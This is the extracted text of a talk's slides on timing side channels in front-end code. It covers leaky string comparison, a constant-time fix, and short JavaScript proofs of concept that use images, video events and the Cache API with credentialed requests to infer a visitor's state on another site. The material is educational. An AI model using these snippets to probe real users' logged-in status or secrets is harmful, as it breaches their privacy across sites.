Slide 1

Slide 1 text

@mathias THE DARK SIDE FRONT-END PERFORMANCE

Slide 2

Slide 2 text

@mathias function compare(a, b) { return a === b; } compare('Fronteers', 'Fronteers'); // → true @ 1000 μs compare('Fronteers', 'Fronteerz'); // → false @ 1000 μs compare('Spring', 'Thing'); // → false @ 100 μs compare('Spring', 'Zpring'); // → false @ 200 μs

Slide 3

Slide 3 text

@mathias function compare(a, b) { return a === b; } compare('Fronteers', 'Fronteers'); // → true @ 1000 μs compare('Fronteers', 'Fronteerz'); // → false @ 1000 μs compare('Spring', 'Thing'); // → false @ 100 μs compare('CSS', 'XSS'); // → false @ 200 μs

Slide 4

Slide 4 text

@mathias function compare(a, b) { return a === b; } compare('Fronteers', 'Fronteers'); // → true @ 1000 μs compare('Fronteers', 'Fronteerz'); // → false @ 1000 μs compare('Spring', 'Thing'); // → false @ 100 μs compare('CSS', 'XSS'); // → false @ 200 μs

Slide 5

Slide 5 text

@mathias function compare(a, b) { const lengthA = a.length; if (lengthA !== b.length) { return false; // performance optimization #1 } for (let index = 0; index < lengthA; index++) { if (a.charCodeAt(index) !== b.charCodeAt(index)) { return false; // performance optimization #2 } } return true; // worst-case perf scenario }

Slide 6

Slide 6 text

@mathias compare('Fronteers', 'Fronteers'); // → true @ 1000 μs compare('Fronteers', 'Fronteerz'); // → false @ 1000 μs [opt. #2] compare('Spring', 'Thing'); // → false @ 100 μs [opt. #1] compare('CSS', 'XSS'); // → false @ 200 μs [opt. #2]

Slide 7

Slide 7 text

@mathias SIDE-CHANNEL LEAK

Slide 8

Slide 8 text

@mathias TIMING ATTACK

Slide 9

Slide 9 text

@mathias compare($userInput, $secret);

Slide 10

Slide 10 text

@mathias function compare(a, b) { const lengthA = a.length; if (lengthA !== b.length) { return false; // performance optimization #1 // allows attackers to figure out expected length } for (let index = 0; index < lengthA; index++) { if (a.charCodeAt(index) !== b.charCodeAt(index)) { return false; // performance optimization #2 // allows attackers to figure out expected // characters, one by one (except the last one) } } return true; // worst-case perf scenario }

Slide 11

Slide 11 text

@mathias function safeCompare(a, b) { const lengthA = a.length; let result = 0; if (lengthA !== b.length) { b = a; result = 1; } for (let index = 0; index < lengthA; index++) { result |= ( a.charCodeAt(index) ^ b.charCodeAt(index) ); // XOR } return result === 0; }

Slide 12

Slide 12 text

@mathias const image = new Image(); image.onerror = stopTimer; const end = performance.now(); const delta = end - start; alert(`Loading took ${ delta } milliseconds.`); }; startTimer(); image.src = 'https://example.com/admin.php';

Slide 13

Slide 13 text

@mathias const image = new Image(); image.onerror = function() { const end = performance.now(); const delta = end - start; alert(`Loading took ${ delta } milliseconds.`); }; const start = performance.now(); image.src = 'https://example.com/admin.php';

Slide 14

Slide 14 text

@mathias

Slide 15

Slide 15 text

@mathias 750 ms

Slide 16

Slide 16 text

@mathias

Slide 17

Slide 17 text

@mathias 1250 ms

Slide 18

Slide 18 text

@mathias const image = new Image(); image.onerror = function() { const end = performance.now(); const delta = end - start; alert(`Loading took ${ delta } milliseconds.`); }; const start = performance.now(); image.src = 'https://example.com/admin.php';

Slide 19

Slide 19 text

@mathias MODERN TIMING ATTACKS

Slide 20

Slide 20 text

@mathias SNIFFLY OMG @BCRYPT R0CKX!!1

Slide 21

Slide 21 text

@mathias

Slide 22

Slide 22 text

@mathias VIDEO PARSING ⏱ ATTACK @TOMVANGOETHEM

Slide 23

Slide 23 text

@mathias const video = document.createElement('video'); // `suspend` event == download complete video.onsuspend = startTimer; // `error` event == parsing complete video.onerror = stopTimer; video.src = 'https://example.com/admin.php';

Slide 24

Slide 24 text

@mathias CACHE STORAGE ⏱ ATTACK @TOMVANGOETHEM

Slide 25

Slide 25 text

@mathias const url = 'https://example.com/admin.php'; const dummyRequest = new Request('dummy'); fetch(url, { 'credentials': 'include', 'mode': 'no-cors' }).then(function(response) { // The download has completed. startTimer(); return cache.put(dummyRequest, response.clone()); }).then(function() { // The resource has been stored in the cache. stopTimer(); });

Slide 26

Slide 26 text

@mathias

Slide 27

Slide 27 text

@mathias

Slide 28

Slide 28 text

@mathias

Slide 29

Slide 29 text

@mathias 30 ms

Slide 30

Slide 30 text

@mathias

Slide 31

Slide 31 text

@mathias 15 ms

Slide 32

Slide 32 text

@mathias

Slide 33

Slide 33 text

@mathias

Slide 34

Slide 34 text

@mathias

Slide 35

Slide 35 text

@mathias "

Slide 36

Slide 36 text

@mathias THANKS! Sniffly by @bcrypt: https://mths.be/buy Research by @tomvangoethem: https://mths.be/buz Bonus — examples by @sirdarckcat: https://mths.be/bva